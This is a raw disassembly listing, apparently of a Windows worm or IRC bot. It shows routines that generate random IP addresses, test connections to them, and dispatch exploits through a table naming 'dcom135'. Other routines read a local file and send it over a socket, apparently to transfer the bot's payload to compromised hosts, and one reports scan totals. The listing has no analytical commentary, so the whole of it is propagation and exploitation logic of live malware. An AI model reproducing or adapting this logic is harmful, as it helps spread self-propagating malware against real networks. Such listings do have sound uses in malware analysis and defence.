		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		nop
		call	near ptr 25D0CB3h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------

loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		call	near ptr 25D0CB3h
		nop
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		call	near ptr 25D0000h
		nop

loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h

loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43F650
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43F640
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC

loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------

loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax

loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43F6CC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------

loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43F6CC

loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4

loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43F700
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 25D0CB3h
		push	esi

loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8

loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi

loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_43C848[eax*8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------

loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	dword_43DA14, eax
		mov	dword_43DA10, ebx
		nop
		call	near ptr 2620000h
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------

loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, ebx

loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40738E

loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------

loc_40738E:				; CODE XREF: sub_407252+128j
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43E068, ebx
		call	near ptr 2620000h
		nop
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------

loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, ebx

loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4074B2

loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_40749C
; ---------------------------------------------------------------------------

loc_4074B2:				; CODE XREF: sub_407252+248j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------

loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl

loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43DE4C, ebx
		mov	dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43DE38
		mov	dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4075BA

loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------

loc_4075BA:				; CODE XREF: sub_407252+354j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_42B1C8

loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43F59C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43F664
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------

loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax

loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax

loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax

loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C

loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C848[ecx*8], eax

loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43F650
		push	esi
		mov	edi, eax
		call	dword_43F700
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4450C4[ebx]
		cmp	dword_43C84C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------

loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6

loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]

loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h

loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]

loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 25D0CB3h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------

loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 25D0000h
		nop
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3302o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
